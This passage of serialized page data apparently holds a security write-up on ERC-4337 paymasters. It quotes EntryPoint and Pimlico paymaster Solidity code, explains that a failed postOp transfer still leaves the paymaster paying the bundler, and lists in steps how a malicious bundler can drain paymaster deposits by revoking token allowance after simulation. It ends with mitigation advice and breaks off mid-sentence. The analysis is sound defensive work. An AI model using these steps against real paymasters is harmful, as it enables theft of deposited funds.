gasPrice)\n",{"type":24,"tag":271,"props":113382,"children":113383},{"class":273,"line":438},[113384,113389,113394],{"type":24,"tag":271,"props":113385,"children":113386},{"style":2058},[113387],{"type":29,"value":113388}," // ",{"type":24,"tag":271,"props":113390,"children":113391},{"style":278},[113392],{"type":29,"value":113393},"solhint-disable",{"type":24,"tag":271,"props":113395,"children":113396},{"style":2058},[113397],{"type":29,"value":113398},"-next-line no-empty-blocks\n",{"type":24,"tag":271,"props":113400,"children":113401},{"class":273,"line":447},[113402,113407,113411],{"type":24,"tag":271,"props":113403,"children":113404},{"style":288},[113405],{"type":29,"value":113406}," {} ",{"type":24,"tag":271,"props":113408,"children":113409},{"style":749},[113410],{"type":29,"value":56076},{"type":24,"tag":271,"props":113412,"children":113413},{"style":288},[113414],{"type":29,"value":7145},{"type":24,"tag":271,"props":113416,"children":113417},{"class":273,"line":455},[113418,113423,113427,113432,113436,113440,113444],{"type":24,"tag":271,"props":113419,"children":113420},{"style":3887},[113421],{"type":29,"value":113422}," bytes",{"type":24,"tag":271,"props":113424,"children":113425},{"style":278},[113426],{"type":29,"value":109870},{"type":24,"tag":271,"props":113428,"children":113429},{"style":288},[113430],{"type":29,"value":113431}," reason ",{"type":24,"tag":271,"props":113433,"children":113434},{"style":624},[113435],{"type":29,"value":762},{"type":24,"tag":271,"props":113437,"children":113438},{"style":288},[113439],{"type":29,"value":112641},{"type":24,"tag":271,"props":113441,"children":113442},{"style":598},[113443],{"type":29,"value":112732},{"type":24,"tag":271,"props":113445,"children":113446},{"style":288},[113447],{"type":29,"value":112737},{"type":24,"tag":271,"props":113449,"children":113450},{"class":273,"line":464},[113451,113456,113461],{"type":24,"tag":271,"props":113452,"children":113453},{"style":749},[113454],{"type":29,"value":113455}," revert",{"type":24,"tag":271,"props":113457,"children":113458},{"style":598},[113459],{"type":29,"value":113460}," PostOpReverted",{"type":24,"tag":271,"props":113462,"children":113463},{"style":288},[113464],{"type":29,"value":113465},"(reason);\n",{"type":24,"tag":271,"props":113467,"children":113468},{"class":273,"line":473},[113469],{"type":24,"tag":271,"props":113470,"children":113471},{"style":288},[113472],{"type":29,"value":77766},{"type":24,"tag":271,"props":113474,"children":113475},{"class":273,"line":483},[113476],{"type":24,"tag":271,"props":113477,"children":113478},{"style":288},[113479],{"type":29,"value":77851},{"type":24,"tag":271,"props":113481,"children":113482},{"class":273,"line":491},[113483],{"type":24,"tag":271,"props":113484,"children":113485},{"style":2058},[113486],{"type":29,"value":113487}," // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":271,"props":113489,"children":113490},{"class":273,"line":499},[113491,113495,113499],{"type":24,"tag":271,"props":113492,"children":113493},{"style":2058},[113494],{"type":29,"value":110332},{"type":24,"tag":271,"props":113496,"children":113497},{"style":278},[113498],{"type":29,"value":73546},{"type":24,"tag":271,"props":113500,"children":113501},{"style":2058},[113502],{"type":29,"value":113503}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":271,"props":113505,"children":113506},{"class":273,"line":3188},[113507,113511,113516,113520,113524,113528,113532],{"type":24,"tag":271,"props":113508,"children":113509},{"style":3887},[113510],{"type":29,"value":110267},{"type":24,"tag":271,"props":113512,"children":113513},{"style":288},[113514],{"type":29,"value":113515}," postOpGasUsed ",{"type":24,"tag":271,"props":113517,"children":113518},{"style":624},[113519],{"type":29,"value":762},{"type":24,"tag":271,"props":113521,"children":113522},{"style":288},[113523],{"type":29,"value":113303},{"type":24,"tag":271,"props":113525,"children":113526},{"style":624},[113527],{"type":29,"value":9821},{"type":24,"tag":271,"props":113529,"children":113530},{"style":278},[113531],{"type":29,"value":112100},{"type":24,"tag":271,"props":113533,"children":113534},{"style":288},[113535],{"type":29,"value":4230},{"type":24,"tag":271,"props":113537,"children":113538},{"class":273,"line":3247},[113539,113544,113548,113553],{"type":24,"tag":271,"props":113540,"children":113541},{"style":288},[113542],{"type":29,"value":113543}," postOpUnusedGasPenalty ",{"type":24,"tag":271,"props":113545,"children":113546},{"style":624},[113547],{"type":29,"value":762},{"type":24,"tag":271,"props":113549,"children":113550},{"style":598},[113551],{"type":29,"value":113552}," _getUnusedGasPenalty",{"type":24,"tag":271,"props":113554,"children":113555},{"style":288},[113556],{"type":29,"value":113557},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":271,"props":113559,"children":113560},{"class":273,"line":3255},[113561],{"type":24,"tag":271,"props":113562,"children":113563},{"style":288},[113564],{"type":29,"value":77859},{"type":24,"tag":271,"props":113566,"children":113567},{"class":273,"line":3263},[113568],{"type":24,"tag":271,"props":113569,"children":113570},{"style":288},[113571],{"type":29,"value":8554},{"type":24,"tag":271,"props":113573,"children":113574},{"class":273,"line":3293},[113575],{"type":24,"tag":271,"props":113576,"children":113577},{"style":288},[113578],{"type":29,"value":111591},{"type":24,"tag":271,"props":113580,"children":113581},{"class":273,"line":3301},[113582],{"type":24,"tag":271,"props":113583,"children":113584},{"style":288},[113585],{"type":29,"value":4385},{"type":24,"tag":25,"props":113587,"children":113588},{},[113589,113591,113596,113598,113604,113606,113612,113614,113619,113621,113626,113628,113633,113635,113640,113642,113647,113649,113654],{"type":29,"value":113590},"It turns out that if the ",{"type":24,"tag":135,"props":113592,"children":113594},{"className":113593},[],[113595],{"type":29,"value":109171},{"type":29,"value":113597}," call fails, it will revert with ",{"type":24,"tag":135,"props":113599,"children":113601},{"className":113600},[],[113602],{"type":29,"value":113603},"PostOpReverted",{"type":29,"value":113605},". However, as we can see in the previous code of ",{"type":24,"tag":135,"props":113607,"children":113609},{"className":113608},[],[113610],{"type":29,"value":113611},"_executeUserOp",{"type":29,"value":113613},", even though ",{"type":24,"tag":135,"props":113615,"children":113617},{"className":113616},[],[113618],{"type":29,"value":112313},{"type":29,"value":113620}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":135,"props":113622,"children":113624},{"className":113623},[],[113625],{"type":29,"value":112981},{"type":29,"value":113627}," call with ",{"type":24,"tag":135,"props":113629,"children":113631},{"className":113630},[],[113632],{"type":29,"value":112989},{"type":29,"value":113634}," mode, and it won't try to call ",{"type":24,"tag":135,"props":113636,"children":113638},{"className":113637},[],[113639],{"type":29,"value":109171},{"type":29,"value":113641}," again. This means the ",{"type":24,"tag":135,"props":113643,"children":113645},{"className":113644},[],[113646],{"type":29,"value":109032},{"type":29,"value":113648}," still gets paid for submitting the failed ",{"type":24,"tag":135,"props":113650,"children":113652},{"className":113651},[],[113653],{"type":29,"value":108972},{"type":29,"value":41},{"type":24,"tag":25,"props":113656,"children":113657},{},[113658,113660,113665,113667,113672,113674,113681],{"type":29,"value":113659},"Now that we understand this behavior where ",{"type":24,"tag":135,"props":113661,"children":113663},{"className":113662},[],[113664],{"type":29,"value":109171},{"type":29,"value":113666}," is allowed to fail while the ",{"type":24,"tag":135,"props":113668,"children":113670},{"className":113669},[],[113671],{"type":29,"value":109032},{"type":29,"value":113673}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":32,"props":113675,"children":113678},{"href":113676,"rel":113677},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[36],[113679],{"type":29,"value":113680},"Pimlico",{"type":29,"value":41},{"type":24,"tag":261,"props":113683,"children":113685},{"className":12193,"code":113684,"language":12192,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[113686],{"type":24,"tag":135,"props":113687,"children":113688},{"__ignoreMap":7},[113689,113704,113721,113741,113757,113769,113776,113783,113790,113821,113828,113853,113861,113868,113875,113904,113911,113927,113949,113956,113972,114022,114029,114045,114053,114086,114119,114127,114134,114141,114184,114191,114240,114266,114273,114280,114297],{"type":24,"tag":271,"props":113690,"children":113691},{"class":273,"line":274},[113692,113696,113700],{"type":24,"tag":271,"props":113693,"children":113694},{"style":278},[113695],{"type":29,"value":96621},{"type":24,"tag":271,"props":113697,"children":113698},{"style":598},[113699],{"type":29,"value":110573},{"type":24,"tag":271,"props":113701,"children":113702},{"style":288},[113703],{"type":29,"value":4028},{"type":24,"tag":271,"props":113705,"children":113706},{"class":273,"line":284},[113707,113712,113716],{"type":24,"tag":271,"props":113708,"children":113709},{"style":278},[113710],{"type":29,"value":113711}," PostOpMode",{"type":24,"tag":271,"props":113713,"children":113714},{"style":288},[113715],{"type":29,"value":158},{"type":24,"tag":271,"props":113717,"children":113718},{"style":2058},[113719],{"type":29,"value":113720},"/* mode */\n",{"type":24,"tag":271,"props":113722,"children":113723},{"class":273,"line":294},[113724,113728,113732,113737],{"type":24,"tag":271,"props":113725,"children":113726},{"style":3887},[113727],{"type":29,"value":112489},{"type":24,"tag":271,"props":113729,"children":113730},{"style":278},[113731],{"type":29,"value":109802},{"type":24,"tag":271,"props":113733,"children":113734},{"style":630},[113735],{"type":29,"value":113736}," _context",{"type":24,"tag":271,"props":113738,"children":113739},{"style":288},[113740],{"type":29,"value":638},{"type":24,"tag":271,"props":113742,"children":113743},{"class":273,"line":303},[113744,113748,113753],{"type":24,"tag":271,"props":113745,"children":113746},{"style":3887},[113747],{"type":29,"value":96799},{"type":24,"tag":271,"props":113749,"children":113750},{"style":630},[113751],{"type":29,"value":113752}," _actualGasCost",{"type":24,"tag":271,"props":113754,"children":113755},{"style":288},[113756],{"type":29,"value":638},{"type":24,"tag":271,"props":113758,"children":113759},{"class":273,"line":312},[113760,113764],{"type":24,"tag":271,"props":113761,"children":113762},{"style":3887},[113763],{"type":29,"value":96799},{"type":24,"tag":271,"props":113765,"children":113766},{"style":630},[113767],{"type":29,"value":113768}," _actualUserOpFeePerGas\n",{"type":24,"tag":271,"props":113770,"children":113771},{"class":273,"line":321},[113772],{"type":24,"tag":271,"props":113773,"children":113774},{"style":288},[113775],{"type":29,"value":31595},{"type":24,"tag":271,"props":113777,"children":113778},{"class":273,"line":330},[113779],{"type":24,"tag":271,"props":113780,"children":113781},{"style":278},[113782],{"type":29,"value":109841},{"type":24,"tag":271,"props":113784,"children":113785},{"class":273,"line":339},[113786],{"type":24,"tag":271,"props":113787,"children":113788},{"style":288},[113789],{"type":29,"value":4203},{"type":24,"tag":271,"props":113791,"children":113792},{"class":273,"line":347},[113793,113798,113802,113807,113811,113816],{"type":24,"tag":271,"props":113794,"children":113795},{"style":288},[113796],{"type":29,"value":113797}," ERC20PostOpContext ",{"type":24,"tag":271,"props":113799,"children":113800},{"style":278},[113801],{"type":29,"value":82762},{"type":24,"tag":271,"props":113803,"children":113804},{"style":288},[113805],{"type":29,"value":113806}," ctx ",{"type":24,"tag":271,"props":113808,"children":113809},{"style":624},[113810],{"type":29,"value":762},{"type":24,"tag":271,"props":113812,"children":113813},{"style":598},[113814],{"type":29,"value":113815}," _parsePostOpContext",{"type":24,"tag":271,"props":113817,"children":113818},{"style":288},[113819],{"type":29,"value":113820},"(_context);\n",{"type":24,"tag":271,"props":113822,"children":113823},{"class":273,"line":356},[113824],{"type":24,"tag":271,"props":113825,"children":113826},{"emptyLinePlaceholder":16},[113827],{"type":29,"value":327},{"type":24,"tag":271,"props":113829,"children":113830},{"class":273,"line":365},[113831,113835,113840,113844,113849],{"type":24,"tag":271,"props":113832,"children":113833},{"style":3887},[113834],{"type":29,"value":96799},{"type":24,"tag":271,"props":113836,"children":113837},{"style":288},[113838],{"type":29,"value":113839}," expectedPenaltyGasCost ",{"type":24,"tag":271,"props":113841,"children":113842},{"style":624},[113843],{"type":29,"value":762},{"type":24,"tag":271,"props":113845,"children":113846},{"style":598},[113847],{"type":29,"value":113848}," _expectedPenaltyGasCost",{"type":24,"tag":271,"props":113850,"children":113851},{"style":288},[113852],{"type":29,"value":4028},{"type":24,"tag":271,"props":113854,"children":113855},{"class":273,"line":374},[113856],{"type":24,"tag":271,"props":113857,"children":113858},{"style":288},[113859],{"type":29,"value":113860}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":271,"props":113862,"children":113863},{"class":273,"line":384},[113864],{"type":24,"tag":271,"props":113865,"children":113866},{"style":288},[113867],{"type":29,"value":15460},{"type":24,"tag":271,"props":113869,"children":113870},{"class":273,"line":393},[113871],{"type":24,"tag":271,"props":113872,"children":113873},{"emptyLinePlaceholder":16},[113874],{"type":29,"value":327},{"type":24,"tag":271,"props":113876,"children":113877},{"class":273,"line":402},[113878,113882,113886,113890,113895,113899],{"type":24,"tag":271,"props":113879,"children":113880},{"style":3887},[113881],{"type":29,"value":96799},{"type":24,"tag":271,"props":113883,"children":113884},{"style":288},[113885],{"type":29,"value":110897},{"type":24,"tag":271,"props":113887,"children":113888},{"style":624},[113889],{"type":29,"value":762},{"type":24,"tag":271,"props":113891,"children":113892},{"style":288},[113893],{"type":29,"value":113894}," _actualGasCost ",{"type":24,"tag":271,"props":113896,"children":113897},{"style":624},[113898],{"type":29,"value":1012},{"type":24,"tag":271,"props":113900,"children":113901},{"style":288},[113902],{"type":29,"value":113903}," expectedPenaltyGasCost;\n",{"type":24,"tag":271,"props":113905,"children":113906},{"class":273,"line":411},[113907],{"type":24,"tag":271,"props":113908,"children":113909},{"emptyLinePlaceholder":16},[113910],{"type":29,"value":327},{"type":24,"tag":271,"props":113912,"children":113913},{"class":273,"line":420},[113914,113918,113923],{"type":24,"tag":271,"props":113915,"children":113916},{"style":3887},[113917],{"type":29,"value":96799},{"type":24,"tag":271,"props":113919,"children":113920},{"style":288},[113921],{"type":29,"value":113922}," costInToken ",{"type":24,"tag":271,"props":113924,"children":113925},{"style":624},[113926],{"type":29,"value":22391},{"type":24,"tag":271,"props":113928,"children":113929},{"class":273,"line":429},[113930,113935,113940,113944],{"type":24,"tag":271,"props":113931,"children":113932},{"style":598},[113933],{"type":29,"value":113934}," getCostInToken",{"type":24,"tag":271,"props":113936,"children":113937},{"style":288},[113938],{"type":29,"value":113939},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":271,"props":113941,"children":113942},{"style":624},[113943],{"type":29,"value":1012},{"type":24,"tag":271,"props":113945,"children":113946},{"style":288},[113947],{"type":29,"value":113948}," ctx.constantFee;\n",{"type":24,"tag":271,"props":113950,"children":113951},{"class":273,"line":438},[113952],{"type":24,"tag":271,"props":113953,"children":113954},{"emptyLinePlaceholder":16},[113955],{"type":29,"value":327},{"type":24,"tag":271,"props":113957,"children":113958},{"class":273,"line":447},[113959,113963,113968],{"type":24,"tag":271,"props":113960,"children":113961},{"style":3887},[113962],{"type":29,"value":96799},{"type":24,"tag":271,"props":113964,"children":113965},{"style":288},[113966],{"type":29,"value":113967}," absoluteCostInToken ",{"type":24,"tag":271,"props":113969,"children":113970},{"style":624},[113971],{"type":29,"value":22391},{"type":24,"tag":271,"props":113973,"children":113974},{"class":273,"line":455},[113975,113980,113984,113989,113993,113997,114001,114005,114009,114013,114017],{"type":24,"tag":271,"props":113976,"children":113977},{"style":288},[113978],{"type":29,"value":113979}," costInToken ",{"type":24,"tag":271,"props":113981,"children":113982},{"style":624},[113983],{"type":29,"value":18165},{"type":24,"tag":271,"props":113985,"children":113986},{"style":288},[113987],{"type":29,"value":113988}," ctx.preFundCharged ",{"type":24,"tag":271,"props":113990,"children":113991},{"style":624},[113992],{"type":29,"value":10887},{"type":24,"tag":271,"props":113994,"children":113995},{"style":288},[113996],{"type":29,"value":113922},{"type":24,"tag":271,"props":113998,"children":113999},{"style":624},[114000],{"type":29,"value":9821},{"type":24,"tag":271,"props":114002,"children":114003},{"style":288},[114004],{"type":29,"value":113988},{"type":24,"tag":271,"props":114006,"children":114007},{"style":624},[114008],{"type":29,"value":12210},{"type":24,"tag":271,"props":114010,"children":114011},{"style":288},[114012],{"type":29,"value":113988},{"type":24,"tag":271,"props":114014,"children":114015},{"style":624},[114016],{"type":29,"value":9821},{"type":24,"tag":271,"props":114018,"children":114019},{"style":288},[114020],{"type":29,"value":114021}," costInToken;\n",{"type":24,"tag":271,"props":114023,"children":114024},{"class":273,"line":464},[114025],{"type":24,"tag":271,"props":114026,"children":114027},{"emptyLinePlaceholder":16},[114028],{"type":29,"value":327},{"type":24,"tag":271,"props":114030,"children":114031},{"class":273,"line":473},[114032,114037,114041],{"type":24,"tag":271,"props":114033,"children":114034},{"style":288},[114035],{"type":29,"value":114036}," SafeTransferLib.",{"type":24,"tag":271,"props":114038,"children":114039},{"style":598},[114040],{"type":29,"value":110428},{"type":24,"tag":271,"props":114042,"children":114043},{"style":288},[114044],{"type":29,"value":4028},{"type":24,"tag":271,"props":114046,"children":114047},{"class":273,"line":483},[114048],{"type":24,"tag":271,"props":114049,"children":114050},{"style":288},[114051],{"type":29,"value":114052}," ctx.token,\n",{"type":24,"tag":271,"props":114054,"children":114055},{"class":273,"line":491},[114056,114060,114064,114068,114072,114077,114081],{"type":24,"tag":271,"props":114057,"children":114058},{"style":288},[114059],{"type":29,"value":113979},{"type":24,"tag":271,"props":114061,"children":114062},{"style":624},[114063],{"type":29,"value":18165},{"type":24,"tag":271,"props":114065,"children":114066},{"style":288},[114067],{"type":29,"value":113988},{"type":24,"tag":271,"props":114069,"children":114070},{"style":624},[114071],{"type":29,"value":10887},{"type":24,"tag":271,"props":114073,"children":114074},{"style":288},[114075],{"type":29,"value":114076}," ctx.sender ",{"type":24,"tag":271,"props":114078,"children":114079},{"style":624},[114080],{"type":29,"value":12210},{"type":24,"tag":271,"props":114082,"children":114083},{"style":288},[114084],{"type":29,"value":114085}," ctx.treasury,\n",{"type":24,"tag":271,"props":114087,"children":114088},{"class":273,"line":499},[114089,114093,114097,114101,114105,114110,114114],{"type":24,"tag":271,"props":114090,"children":114091},{"style":288},[114092],{"type":29,"value":113979},{"type":24,"tag":271,"props":114094,"children":114095},{"style":624},[114096],{"type":29,"value":18165},{"type":24,"tag":271,"props":114098,"children":114099},{"style":288},[114100],{"type":29,"value":113988},{"type":24,"tag":271,"props":114102,"children":114103},{"style":624},[114104],{"type":29,"value":10887},{"type":24,"tag":271,"props":114106,"children":114107},{"style":288},[114108],{"type":29,"value":114109}," ctx.treasury ",{"type":24,"tag":271,"props":114111,"children":114112},{"style":624},[114113],{"type":29,"value":12210},{"type":24,"tag":271,"props":114115,"children":114116},{"style":288},[114117],{"type":29,"value":114118}," ctx.sender,\n",{"type":24,"tag":271,"props":114120,"children":114121},{"class":273,"line":3188},[114122],{"type":24,"tag":271,"props":114123,"children":114124},{"style":288},[114125],{"type":29,"value":114126}," absoluteCostInToken\n",{"type":24,"tag":271,"props":114128,"children":114129},{"class":273,"line":3247},[114130],{"type":24,"tag":271,"props":114131,"children":114132},{"style":288},[114133],{"type":29,"value":15460},{"type":24,"tag":271,"props":114135,"children":114136},{"class":273,"line":3255},[114137],{"type":24,"tag":271,"props":114138,"children":114139},{"emptyLinePlaceholder":16},[114140],{"type":29,"value":327},{"type":24,"tag":271,"props":114142,"children":114143},{"class":273,"line":3263},[114144,114148,114153,114157,114162,114166,114171,114175,114180],{"type":24,"tag":271,"props":114145,"children":114146},{"style":3887},[114147],{"type":29,"value":96799},{"type":24,"tag":271,"props":114149,"children":114150},{"style":288},[114151],{"type":29,"value":114152}," preFundInToken ",{"type":24,"tag":271,"props":114154,"children":114155},{"style":624},[114156],{"type":29,"value":762},{"type":24,"tag":271,"props":114158,"children":114159},{"style":288},[114160],{"type":29,"value":114161}," (ctx.preFund ",{"type":24,"tag":271,"props":114163,"children":114164},{"style":624},[114165],{"type":29,"value":627},{"type":24,"tag":271,"props":114167,"children":114168},{"style":288},[114169],{"type":29,"value":114170}," ctx.exchangeRate) ",{"type":24,"tag":271,"props":114172,"children":114173},{"style":624},[114174],{"type":29,"value":12298},{"type":24,"tag":271,"props":114176,"children":114177},{"style":477},[114178],{"type":29,"value":114179}," 1e18",{"type":24,"tag":271,"props":114181,"children":114182},{"style":288},[114183],{"type":29,"value":1069},{"type":24,"tag":271,"props":114185,"children":114186},{"class":273,"line":3293},[114187],{"type":24,"tag":271,"props":114188,"children":114189},{"emptyLinePlaceholder":16},[114190],{"type":29,"value":327},{"type":24,"tag":271,"props":114192,"children":114193},{"class":273,"line":3301},[114194,114198,114203,114207,114211,114215,114219,114223,114227,114231,114235],{"type":24,"tag":271,"props":114195,"children":114196},{"style":749},[114197],{"type":29,"value":7512},{"type":24,"tag":271,"props":114199,"children":114200},{"style":288},[114201],{"type":29,"value":114202}," (ctx.recipient ",{"type":24,"tag":271,"props":114204,"children":114205},{"style":624},[114206],{"type":29,"value":23386},{"type":24,"tag":271,"props":114208,"children":114209},{"style":3887},[114210],{"type":29,"value":13967},{"type":24,"tag":271,"props":114212,"children":114213},{"style":288},[114214],{"type":29,"value":606},{"type":24,"tag":271,"props":114216,"children":114217},{"style":477},[114218],{"type":29,"value":4121},{"type":24,"tag":271,"props":114220,"children":114221},{"style":288},[114222],{"type":29,"value":8823},{"type":24,"tag":271,"props":114224,"children":114225},{"style":624},[114226],{"type":29,"value":79985},{"type":24,"tag":271,"props":114228,"children":114229},{"style":288},[114230],{"type":29,"value":114152},{"type":24,"tag":271,"props":114232,"children":114233},{"style":624},[114234],{"type":29,"value":18165},{"type":24,"tag":271,"props":114236,"children":114237},{"style":288},[114238],{"type":29,"value":114239}," costInToken) {\n",{"type":24,"tag":271,"props":114241,"children":114242},{"class":273,"line":3683},[114243,114248,114252,114257,114261],{"type":24,"tag":271,"props":114244,"children":114245},{"style":288},[114246],{"type":29,"value":114247}," SafeTransferLib.",{"type":24,"tag":271,"props":114249,"children":114250},{"style":598},[114251],{"type":29,"value":110428},{"type":24,"tag":271,"props":114253,"children":114254},{"style":288},[114255],{"type":29,"value":114256},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":271,"props":114258,"children":114259},{"style":624},[114260],{"type":29,"value":9821},{"type":24,"tag":271,"props":114262,"children":114263},{"style":288},[114264],{"type":29,"value":114265}," costInToken);\n",{"type":24,"tag":271,"props":114267,"children":114268},{"class":273,"line":4486},[114269],{"type":24,"tag":271,"props":114270,"children":114271},{"style":288},[114272],{"type":29,"value":7574},{"type":24,"tag":271,"props":114274,"children":114275},{"class":273,"line":4509},[114276],{"type":24,"tag":271,"props":114277,"children":114278},{"emptyLinePlaceholder":16},[114279],{"type":29,"value":327},{"type":24,"tag":271,"props":114281,"children":114282},{"class":273,"line":4545},[114283,114288,114292],{"type":24,"tag":271,"props":114284,"children":114285},{"style":749},[114286],{"type":29,"value":114287}," emit",{"type":24,"tag":271,"props":114289,"children":114290},{"style":598},[114291],{"type":29,"value":111162},{"type":24,"tag":271,"props":114293,"children":114294},{"style":288},[114295],{"type":29,"value":114296},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":271,"props":114298,"children":114299},{"class":273,"line":4591},[114300],{"type":24,"tag":271,"props":114301,"children":114302},{"style":288},[114303],{"type":29,"value":4385},{"type":24,"tag":25,"props":114305,"children":114306},{},[114307,114309,114314,114316,114322,114324,114330,114332,114337,114339,114344],{"type":29,"value":114308},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":135,"props":114310,"children":114312},{"className":114311},[],[114313],{"type":29,"value":110428},{"type":29,"value":114315},". Note that ",{"type":24,"tag":135,"props":114317,"children":114319},{"className":114318},[],[114320],{"type":29,"value":114321},"preFundCharged",{"type":29,"value":114323}," can be zero, as users can opt out of any ",{"type":24,"tag":135,"props":114325,"children":114327},{"className":114326},[],[114328],{"type":29,"value":114329},"preFund",{"type":29,"value":114331}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":135,"props":114333,"children":114335},{"className":114334},[],[114336],{"type":29,"value":111229},{"type":29,"value":114338}," call inside ",{"type":24,"tag":135,"props":114340,"children":114342},{"className":114341},[],[114343],{"type":29,"value":112313},{"type":29,"value":114345}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":114347,"children":114348},{},[114349,114351,114356,114358,114364,114366,114372],{"type":29,"value":114350},"However, even when ",{"type":24,"tag":135,"props":114352,"children":114354},{"className":114353},[],[114355],{"type":29,"value":111229},{"type":29,"value":114357}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":135,"props":114359,"children":114361},{"className":114360},[],[114362],{"type":29,"value":114363},"requiredPrefund",{"type":29,"value":114365}," was taken from the paymaster's ",{"type":24,"tag":32,"props":114367,"children":114370},{"href":114368,"rel":114369},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[36],[114371],{"type":29,"value":68749},{"type":29,"value":41},{"type":24,"tag":25,"props":114374,"children":114375},{},[114376,114378,114383],{"type":29,"value":114377},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":135,"props":114379,"children":114381},{"className":114380},[],[114382],{"type":29,"value":111229},{"type":29,"value":114384}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":3834,"props":114386,"children":114387},{},[114388,114406,114425,114436,114441],{"type":24,"tag":101,"props":114389,"children":114390},{},[114391,114393,114398,114400],{"type":29,"value":114392},"The bundler creates a ",{"type":24,"tag":135,"props":114394,"children":114396},{"className":114395},[],[114397],{"type":29,"value":108972},{"type":29,"value":114399}," with an intentionally high ",{"type":24,"tag":135,"props":114401,"children":114403},{"className":114402},[],[114404],{"type":29,"value":114405},"gasPrice",{"type":24,"tag":101,"props":114407,"children":114408},{},[114409,114411,114416,114418,114423],{"type":29,"value":114410},"The bundler ensures the ",{"type":24,"tag":135,"props":114412,"children":114414},{"className":114413},[],[114415],{"type":29,"value":111229},{"type":29,"value":114417}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":135,"props":114419,"children":114421},{"className":114420},[],[114422],{"type":29,"value":111229},{"type":29,"value":114424}," executes",{"type":24,"tag":101,"props":114426,"children":114427},{},[114428,114429,114434],{"type":29,"value":70141},{"type":24,"tag":135,"props":114430,"children":114432},{"className":114431},[],[114433],{"type":29,"value":111229},{"type":29,"value":114435}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":101,"props":114437,"children":114438},{},[114439],{"type":29,"value":114440},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":101,"props":114442,"children":114443},{},[114444],{"type":29,"value":114445},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":114447,"children":114448},{},[114449,114451,114456,114458,114463],{"type":29,"value":114450},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":135,"props":114452,"children":114454},{"className":114453},[],[114455],{"type":29,"value":109001},{"type":29,"value":114457}," designed to fail during ",{"type":24,"tag":135,"props":114459,"children":114461},{"className":114460},[],[114462],{"type":29,"value":111229},{"type":29,"value":114464}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":114466,"children":114467},{},[114468,114470,114475,114477,114482,114484,114490,114492,114497],{"type":29,"value":114469},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":135,"props":114471,"children":114473},{"className":114472},[],[114474],{"type":29,"value":108972},{"type":29,"value":114476}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":135,"props":114478,"children":114480},{"className":114479},[],[114481],{"type":29,"value":108972},{"type":29,"value":114483}," is submitted via ",{"type":24,"tag":135,"props":114485,"children":114487},{"className":114486},[],[114488],{"type":29,"value":114489},"handleOps",{"type":29,"value":114491},". This means the ",{"type":24,"tag":135,"props":114493,"children":114495},{"className":114494},[],[114496],{"type":29,"value":111229},{"type":29,"value":114498}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":114500,"children":114501},{},[114502],{"type":29,"value":114503},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":114505,"children":114506},{},[114507],{"type":29,"value":114508},"If post-execution 